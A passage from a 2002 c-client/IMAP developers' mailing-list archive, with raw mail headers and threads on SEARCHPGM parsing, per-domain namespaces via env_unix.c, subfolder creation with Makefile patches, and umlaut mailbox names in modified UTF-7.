send this IMAP4 search >> string to the server. >> >> >> > >Why? Why not send a SEARCHPGM, or something that more reasonably >translates into a SEARCHPGM? > Ok, this is all I want. I want a function that translates the char string "FLAGGED OR FROM SMITH CC JONES" into a SEARCHPGM. Can I do this in c-client? Thanks Oliver P.D.: I keep using the string "FLAGGED OR FROM SMITH CC JONES" because you send me that string in one of your replys. But it can be any oter string. I will avoid using the term "IMAP4 search string". Now, I will call it a "SEARCH client command" as described in RFC2060 Point 6.4.4. > > > >>5. the IMAP server undestand the IMAP4 search string >> >> > >No, the IMAP server understands an IMAP4 SEARCH command, which is sent >from a SEARCHPGM, which is totally different from what you're calling an >"IMAP4 search string" even if there are similarities. > > > >>Since every c-client user(programer) must do a custom parsing of a IMAP4 >>search string into a SEARCHPGM >> >> > >I am suggesting, once again, that if a C programmer is dealing with "IMAP4 >search strings" he's going about it the wrong way. Such strings are never >sent to the server. What is sent to the server is generated by the >c-client library, and can easily be a very interactive process resulting >in multiple transmit/response operations. > >Why can't PHP deal with SEARCHPGMs? That *is* the IMAP4 search criteria. > >If I could have used a char* string I wouldn't have created SEARCHPGM. > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. > > -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Thu Nov 21 12:56:01 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 12:56:01 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALKu1qt026506 for ; Thu, 21 Nov 2002 12:56:01 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 21 12:56:00 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALKtwYT011729 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 12:56:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALKpQHH029806; Thu, 21 Nov 2002 12:51:26 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALKmlrw027720 for ; Thu, 21 Nov 2002 12:48:47 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Thu Nov 21 12:48:46 2002 -0800 Received: from mid-1.inet.it (mid-1.inet.it [213.92.5.18]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALKmiPB000783 for ; Thu, 21 Nov 2002 12:48:45 -0800 Received: from [::ffff:80.117.50.3] by mid-1.inet.it via I-SMTP-4.3.0-430 id ::ffff:80.117.50.3+nxPWbxvwTCJno; Thu, 21 Nov 2002 21:48:42 +0100 Message-Id: Date: Thu, 21 Nov 2002 21:49:17 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: Mark Crispin Cc: Harrie Hazewinkel , imap c-client Subject: Re: Initialization In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, On Thursday, November 21, 2002, at 05:07 PM, Mark Crispin wrote: > On Thu, 21 Nov 2002, Harrie Hazewinkel wrote: >> I understand to manipulate the namespace I need create a new >> DRIVER (I call it namespace_driver) to handle the functions >> SET_NAMESPACE and GET_NAMESPACE from within mail_parameters >> and must also delete the handling of SET_NAMESPACE and >> GET_NAMESPACE in the files: mail.c, imap4r1.c, env_unix.c. > > I think that you are going about this the wrong way. > > First, I am unsure if you understand what "namespace" means in IMAP. It > does not mean "directory being used"; it refers to the syntax of names. I did not mean directories here (I left that out of the question). I am currently prototyping some based on directories, but that will eventually, map to a DB backend (this is all besides the question). > Do you really want every user to have a different syntax of names in > their > client? Some users use "/" for a hierarchy delimiter, others use ".", > others use "\", others use... Somehow, I do not want directly every user having a different namespace. The thing I want eventually want is for each user a namespace with different semantics. In a virtual hosted system where I have multiple domain name for users I want to have for instance a "#shared/announcements" folder that is domain specific. For example: user_a@somedomain.tld user_b@somedomain.tld Have a shared namespace of "#shared" and in there a mailbox called announcements that could be used for domain private announcements. user_a@otherdomain.tld user_b@otherdomain.tld Have a shared namespace of "#shared" and in there a mailbox called announcements that could be used for domain private announcements. Now I have the same namespace for different domain and want to have seperate mailboxes. This is the semantics part. I also would like to have the ability to have different namespaces for the different domain that is configuration dependant. Hope I explained it well. If not let me know. > In any case, you definitely do not want to delete the namespace calls > imap4r1.c, since that is IMAP client code and a client can't change the > syntax of names on the server. OK, sorry. I just worked with a big axe and server side. > > Second, assuming that you want to change the "directory being used" and > possibly the "directories available for use". You do all that by > customizing env_unix.c and leaving all other files alone. If you really > want to change namespaces per user, you do that in env_unix.c without > changing any other modules. Hmm, I think fiddling in the env_unix.c makes it more difficult since that would always require changes in the core for me. If that all is abstracted in a driver or something with an well defined interface it makes maintenace way easier. Harrie Software developer, Technical Department From pinedev@shivax2.cac.washington.edu Thu Nov 21 13:17:26 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 13:17:26 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLHPqt027469 for ; Thu, 21 Nov 2002 13:17:25 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Thu Nov 21 13:17:24 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALLHMS4010352 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 13:17:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLCcS1033262; Thu, 21 Nov 2002 13:12:38 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLAErw030538 for ; Thu, 21 Nov 2002 13:10:14 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 21 13:10:14 2002 -0800 Received: from morph.magiclamp.2y.net (h.m.mediacentre.org [212.42.168.177] (may be forged)) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALLADEi015743 for ; Thu, 21 Nov 2002 13:10:13 -0800 Received: by morph.magiclamp.2y.net (Postfix, from userid 501) id 254CD27CF2; Thu, 21 Nov 2002 21:07:03 +0000 (GMT) Message-Id: <1037912822.9286.6.camel@morph.magiclamp.2y.net> Date: 21 Nov 2002 21:07:03 +0000 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jinn Koriech To: c-client Subject: UW-IMAP-2002 - can't create new folders Content-Type: text/plain Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I can't create new sub-folders in my IMAP account. I'm using IMAP-2002 that I just downloaded and compiled with the modifications listed at the end of this message. Previously I was using RC6, which also had the same problem. I can create top level folders next to the INBOX, but I can no longer create folders within those. Obviously the folders i'm trying to create folders in are empty. Any ideas? Jinn ============================================================================ ENABLE mbx AS THE DEFAULT FORMAT * Edit src/osdep/unix/Makefile and change the following two lines -CREATEPROTO=unixproto -EMPTYPROTO=unixproto +CREATEPROTO=mbxproto +EMPTYPROTO=mbxproto STORE ALL EMAIL IN A SUBFOLDER OF THE USERS HOME FOLDER * Edit src/osdep/unix/env_unix.c and change the line near the top -static char *mailsubdir = NULL; /* mail subdirectory name */ +static char *mailsubdir = ".imap"; /* mail subdirectory name */ * Edit src/osdep/unix/Makefile and change the following line -SSLTYPE=nopwd +SSLTYPE=unix -SSLDIR=/usr/local/ssl +SSLDIR=/usr/share/ssl -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 21 13:40:02 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 21 Nov 2002 13:40:02 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLe1qt028384 for ; Thu, 21 Nov 2002 13:40:02 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Thu Nov 21 13:40:01 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALLe0S4011039 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 21 Nov 2002 13:40:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLZJS1024014; Thu, 21 Nov 2002 13:35:20 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLXDrw021872 for ; Thu, 21 Nov 2002 13:33:13 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Thu Nov 21 13:33:12 2002 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALLXCEj021353 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 21 Nov 2002 13:33:12 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout3.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gALLXC9r008559 for ; Thu, 21 Nov 2002 13:33:12 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Thu Nov 21 13:33:11 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (Shimo-Tomobiki.Panda.COM [204.42.67.247] (may be forged)) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gALLX8mZ028066 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 21 Nov 2002 13:33:10 -0800 Message-Id: Date: Thu, 21 Nov 2002 16:33:07 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: imap c-client Subject: Re: Initialization In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 21 Nov 2002, Harrie Hazewinkel wrote: > The thing I want eventually want is for each user a namespace with > different semantics. What you have here is the same namespace, but different locations that the namespace refers to. That's what env_unix.c is for. I think that you are putting yourself to much more trouble. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Nov 22 00:17:54 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Nov 2002 00:17:54 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.168]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAM8Hrqt013733 for ; Fri, 22 Nov 2002 00:17:53 -0800 Received: FROM mx1.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 22 00:17:53 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAM8HqYT028720 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Nov 2002 00:17:53 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAM8HCaQ004808; Fri, 22 Nov 2002 00:17:13 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAM8Dnrw012062 for ; Fri, 22 Nov 2002 00:13:49 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Nov 22 00:13:49 2002 -0800 Received: from mid-2.inet.it (mid-2.inet.it [213.92.5.19]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAM8DmPB010470 for ; Fri, 22 Nov 2002 00:13:48 -0800 Received: from [::ffff:213.92.1.237] by mid-2.inet.it via I-SMTP-4.3.0-430 id ::ffff:213.92.1.237+BA3Qds7krgqf; Fri, 22 Nov 2002 09:13:46 +0100 Message-Id: <69B0CC69-FDF2-11D6-B05E-0003934A5A7E@inet.it> Date: Fri, 22 Nov 2002 09:14:25 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Harrie Hazewinkel To: Mark Crispin Cc: Harrie Hazewinkel , imap c-client Subject: Re: Initialization In-Reply-To: Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v482) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN HI, On Thursday, November 21, 2002, at 10:33 PM, Mark Crispin wrote: > On Thu, 21 Nov 2002, Harrie Hazewinkel wrote: >> The thing I want eventually want is for each user a namespace with >> different semantics. > > What you have here is the same namespace, but different locations that > the > namespace refers to. > > That's what env_unix.c is for. I think that you are putting yourself to > much more trouble. That I am not sure. An advantage for making a better abstraction of the namespaces from the core makes it way more easy for people to have there own namespace module. If the namespacing is done in a DRIVER (for instance) I can simply replace the wu-imap namespace driver with my own as soon an upgrade is done for the wu-imap package. A disadvantage of changin env_unix.c is that I must always with upgrades change that file. With respect of putting me into more trouble is yes. Creating a namespace driver it is now more trouble, but in the longterm it is not. Patching the core each time is not what I consider as no trouble. Patching is way more error-sensitive. Cheers, Harrie Software developer, Technical Department From pinedev@shivax2.cac.washington.edu Fri Nov 22 00:39:16 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Nov 2002 00:39:15 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAM8dFqt014172 for ; Fri, 22 Nov 2002 00:39:15 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Nov 22 00:39:14 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAM8dCYT029078 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Nov 2002 00:39:14 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAM8ceS1005644; Fri, 22 Nov 2002 00:38:40 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAM8Yurw027882 for ; Fri, 22 Nov 2002 00:34:57 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Nov 22 00:34:55 2002 -0800 Received: from leopold.Physik.Uni-Augsburg.DE (leopold.Physik.Uni-Augsburg.DE [137.250.77.29]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAM8YsMb004439 for ; Fri, 22 Nov 2002 00:34:55 -0800 Received: from dentblanche.Physik.Uni-Augsburg.DE (dentblanche.Physik.Uni-Augsburg.DE [137.250.77.237]) by leopold.Physik.Uni-Augsburg.DE (AIX4.3/8.9.3/8.9.1) with ESMTP id JAA296552; Fri, 22 Nov 2002 09:34:45 +0100 Received: (from ralfu@localhost) by dentblanche.Physik.Uni-Augsburg.DE (AIX4.3/8.9.3/8.9.1) id JAA32566; Fri, 22 Nov 2002 09:34:45 +0100 Message-Id: <20021122083445.GB27314@physik.uni-augsburg.de> Date: Fri, 22 Nov 2002 09:34:45 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: c-client@u.washington.edu Cc: Ralf Utermann Subject: charset/mailbox names Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, this might an easy one for the experts, but I did not find a README or FAQ to solve this: We have users using imap normally from their email client but from out of office (conferences etc) they work via the webmail gateway Squirrelmail (which also uses imap). If the local Email client is Eudora and the users create mailboxes containing german umlaut characters (like ü), those mailboxes cannot be accessed via other imap clients (like Mozilla, Outlook or Squirrelmail). Vice versa, mailbox names with umlauts created by these clients make problems for Eudora in turn. On the unix (AIX in our case) command line, the ones created by Eudora look fine, while the ones created by Mozilla, Outlook or via Squirrelmail have some sort of encoding I never saw before; for example a 'u umlaut' (ü) on the unix command line reads $APw- I don't see were I can give Eudora any charset encoding and in Mozilla we used ISO-8859-1 as well as in Squirrelmail. Can someone point me in the right direction? Regards, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 22 05:19:38 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Nov 2002 05:19:38 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.136]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAMDJcqt022292 for ; Fri, 22 Nov 2002 05:19:38 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 22 05:19:37 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAMDJaYT002259 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Nov 2002 05:19:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAMDIsS1030838; Fri, 22 Nov 2002 05:18:55 -0800 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAMDGHrw030522 for ; Fri, 22 Nov 2002 05:16:17 -0800 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Fri Nov 22 05:16:16 2002 -0800 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAMDGEPC014060 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 22 Nov 2002 05:16:16 -0800 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.6/8.12.6) with ESMTP id gAMDGDFi003471 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT) for ; Fri, 22 Nov 2002 14:16:13 +0100 (MET) Message-Id: <140750000.1037970973@mail1.rrz.Uni-Koeln.DE> Date: Fri, 22 Nov 2002 14:16:13 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: c-client@u.washington.edu Subject: Re: charset/mailbox names MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; FORMAT=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Spam-Report: CARRIAGE_RETURNS,QUOTED_EMAIL_TEXT,SPAM_PHRASE_00_01 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Friday, November 22, 2002 09:34:45 +0100 Ralf Utermann=20 wrote: > If the local Email client is Eudora and the users create mailboxes > containing german umlaut characters (like =FC), those mailboxes > cannot be accessed via other imap clients (like Mozilla, Outlook > or Squirrelmail). Vice versa, mailbox names with umlauts created > by these clients make problems for Eudora in turn. > > On the unix (AIX in our case) command line, the ones created by > Eudora look fine, while the ones created by Mozilla, Outlook or > via Squirrelmail have some sort of encoding I never saw before; > for example a 'u umlaut' (=FC) on the unix command line reads $APw- > > I don't see were I can give Eudora any charset encoding and in > Mozilla we used ISO-8859-1 as well as in Squirrelmail. > > Can someone point me in the right direction? Section 5.1.3 Eudora is broken. Mailbox names must be in modified UTF-7. Cheers, Sebastian -- Sebastian Hagedorn M.A. - RZKR-R1 (Flachbau), Zi. 18, Robert-Koch-Str. 10 Zentrum f=FCr angewandte Informatik - Universit=E4tsweiter Service RRZK Universit=E4t zu K=F6ln / Cologne University - Tel. +49-221-478-5587 From pinedev@shivax2.cac.washington.edu Fri Nov 22 13:09:53 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 22 Nov 2002 13:09:53 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.137]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAML9rqt005419 for ; Fri, 22 Nov 2002 13:09:53 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Fri Nov 22 13:09:52 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAML9pS4012950 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 22 Nov 2002 13:09:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAML8Og2085640; Fri, 22 Nov 2002 13:08:24 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAML5Drw041280 for ; Fri, 22 Nov 2002 13:05:13 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Nov 22 13:05:12 2002 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAML5CPC009819 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 22 Nov 2002 13:05:12 -0800 Received: from mailscan-out1.cac.washington.edu (mailscan-out1.cac.washington.edu [140.142.32.138]) by mxout2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gAML5CEC017218 for ; Fri, 22 Nov 2002 13:05:12 -0800 Received: FROM smtp.washington.edu BY mailscan-out1.cac.washington.edu ; Fri Nov 22 13:05:11 2002 -0800 Received: from Shimo-Tomobiki.Panda.COM (mes128085095.airdata.net [166.128.85.95]) (authenticated bits=0) by smtp.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gAML51mZ011079 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 22 Nov 2002 13:05:08 -0800 Message-Id: Date: Fri, 22 Nov 2002 16:05:01 -0500 (Eastern Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Harrie Hazewinkel Cc: imap c-client Subject: Re: Initialization In-Reply-To: <69B0CC69-FDF2-11D6-B05E-0003934A5A7E@inet.it> References: <69B0CC69-FDF2-11D6-B05E-0003934A5A7E@inet.it> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 22 Nov 2002, Harrie Hazewinkel wrote: > An advantage for making a better abstraction of the namespaces > from the core The entire (sole) reason why env_unix.c exists is to have a mechanism by which environment specifics can be altered without having to change drivers. The abstraction that you talk about already exists. It is env_unix.c. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Fri Nov 29 14:38:35 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 29 Nov 2002 14:38:35 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gATMcZqt000341 for ; Fri, 29 Nov 2002 14:38:35 -0800 Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Nov 29 14:38:29 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gATMcIS9029634 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 29 Nov 2002 14:38:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gATMbTHH015242; Fri, 29 Nov 2002 14:37:29 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with SMTP id gATMY7rw041322 for ; Fri, 29 Nov 2002 14:34:09 -0800 Received: FROM mxu1.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Nov 29 14:34:07 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.11) with ESMTP id gATMXr8I025857 for ; Fri, 29 Nov 2002 14:34:05 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gATMXrs19842 for ; Fri, 29 Nov 2002 19:33:55 -0300 Message-Id: <3DE7EB47.7090806@samera.com.py> Date: Fri, 29 Nov 2002 19:33:43 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Re: Parsing In-Reply-To: References: <3DDBF73A.5000905@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi Mark, I'm sending this email again because in the past I already asked this question and received no answer. > >Why? Why not send a SEARCHPGM, or something that more reasonably >translates into a SEARCHPGM? > Ok, this is all I want. I want a function that translates the char string "FLAGGED OR FROM SMITH CC JONES" into a SEARCHPGM. Can I do this in c-client? Let me know you position about this function, so people can start planing working on this. Thanks Oliver -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Tue Dec 3 05:11:05 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 3 Dec 2002 05:11:04 -0800 (PST) Return-Path: Received: from 